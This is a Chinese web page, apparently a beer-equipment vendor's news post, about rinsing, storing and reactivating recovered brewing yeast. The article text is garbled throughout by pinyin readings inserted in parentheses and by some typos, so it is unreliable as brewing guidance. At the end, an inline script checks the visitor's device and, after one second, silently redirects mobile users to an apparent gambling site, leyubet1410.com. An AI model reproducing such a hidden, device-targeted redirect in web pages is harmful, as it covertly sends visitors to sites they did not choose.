千赢国际官方

新闻资讯

啤酒设备厂家:啤酒酿造时回收酵母的漂洗工作

今天,千赢国际官方的小编就给你分享关于:啤酒酿造时回收(shou)酵母的漂洗(xi)工作

对回收(shou)酵母的漂洗(xi),主要有以下(xia)两方面内容:

    (1)过筛与漂洗   由于回收酵母含有许多杂质,所以从槽底刮出酵母以后,应先进行过筛。

过筛时,先以等量(liang)无菌冰(bing)水(shui)与回(hui)收酵母混(hun)匀(yun),再以网(wang)筛(用80-100目铜丝网(wang)制成(cheng)的圆形带(dai)柄网(wang)或框式网(wang))反复去除这些杂质,再放人(ren)可倾(qing)去上层(ceng)液(ye)体(ti)的酵母盆内用冰(bing)水(shui)搅匀(yun)、漂(piao)洗,以去除吸附的色素、细粒物(wu)和悬(xuan)(xuan)浮物(wu).并(bing)在绝(jue)大部分酵母沉降以后(hou)(需(xu)3〜4h).倾(qing)去上层(ceng)悬(xuan)(xuan)浊液(ye).再以冰(bing)水(shui)漂(piao)洗。

在刚回收的第1天,可换水(shui)漂(piao)洗2〜3次(ci),第2天可换水(shui)漂(piao)洗1〜2次(ci),第3天则换水(shui)1次(ci)就可以了。漂(piao)洗次(ci)数(shu)也可以按上层冰(bing)水(shui)的色泽和(he)透明情况(kuang)确定.如色深(shen)、水(shui)呈浊(zhuo)状(zhuang),可多漂(piao)洗几次(ci)。

漂洗干净的(de)酵母呈乳脂状.上层水清,略透明,无(wu)色.无(wu)明显异(yi)味。

    (2)贮养与活化    以2°C左右的冰水贮养酵母是最简单的一种方法,因为用冰水洗涤酵母在原则上是回收酵母以后应进行的一项工作。

贮养酵母(mu)(mu)用的(de)(de)无菌(jun)(jun)冰水,必须注意(yi)保持一(yi)定(ding)的(de)(de)温(wen)度(du),一(yi)般(ban)不(bu)低于2°C,不(bu)髙于4°C.无菌(jun)(jun)冰水中(zhong)不(bu)得有杂菌(jun)(jun)检(jian)出(chu)。酵母(mu)(mu)的(de)(de)冰水贮养期(qi)一(yi)般(ban)不(bu)宜超过3天,以防发(fa)生对酵母(mu)(mu)活性的(de)(de)抑止和发(fa)生酵母(mu)(mu)的(de)(de)自(zi)溶。

更换冰水(shui)(shui)应定(ding)期进行,这样可(ke)供应一定(ding)的(de)(de)溶解氧和保持贮养(yang)冰水(shui)(shui)的(de)(de)温度.防止酵(jiao)母(mu)发生衰老与缺(que)氧自溶或死亡.酵(jiao)母(mu)在(zai)使用前最好先(xian)用少董(dong)冷(leng)(leng)麦汁(zhi)活化(hua),对(dui)每天糖(tang)化(hua)次数较多的(de)(de)工(gong)厂(chang)(chang)(每天6次以上(shang)),可(ke)用上(shang)一次冷(leng)(leng)却麦汁(zhi)预先(xian)活化(hua)将使用的(de)(de)酵(jiao)母(mu),对(dui)每天糖(tang)化(hua)次数较少的(de)(de)工(gong)厂(chang)(chang).

可(ke)使用冷(leng)却(que)开始时的(de)冷(leng)麦汁(zhi)与添加酵(jiao)母混合,这对(dui)缩短酵(jiao)母迟滞期是很(hen)有(you)好处的(de).贮存酵(jiao)母的(de)重(zhong)复使用是啤酒生(sheng)产(chan)中很(hen)電(dian)要(yao)的(de)工作(zuo)内(nei)容,菌种或种酵(jiao)母(在(zai)种子(zi)罐内(nei))只(zhi)决(jue)定了酵(jiao)母本身的(de)发酵(jiao)性能、繁殖性能等(deng)特性但(dan)生(sheng)产(chan)酵(jiao)母却(que)能决(jue)定发酵(jiao)是否正常(chang)和(he)代谢产(chan)物的(de)组成.

了解啤酒设备信息,啤酒设备厂家信息,找啤酒设备,请来中赢啤酒设备网,这里提供有关啤酒设备产品的供应信息,您可与啤酒设备生产商在线洽谈有关啤酒设备的最新动态及价格行情,买啤酒设备就来中赢啤酒设备网。

声明:本文章部分图片、文字来源于网络,版权归原作者所有,如有侵权,请与我联系删除。



 本(ben)页关键词:啤(pi)酒设备(bei) 精(jing)酿啤(pi)酒设备(bei) 自酿啤(pi)酒设备(bei) 啤(pi)酒机


  啤酒设备

在线客服

关(guan)闭

客户服务热线
0371-63696300


客服一



var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();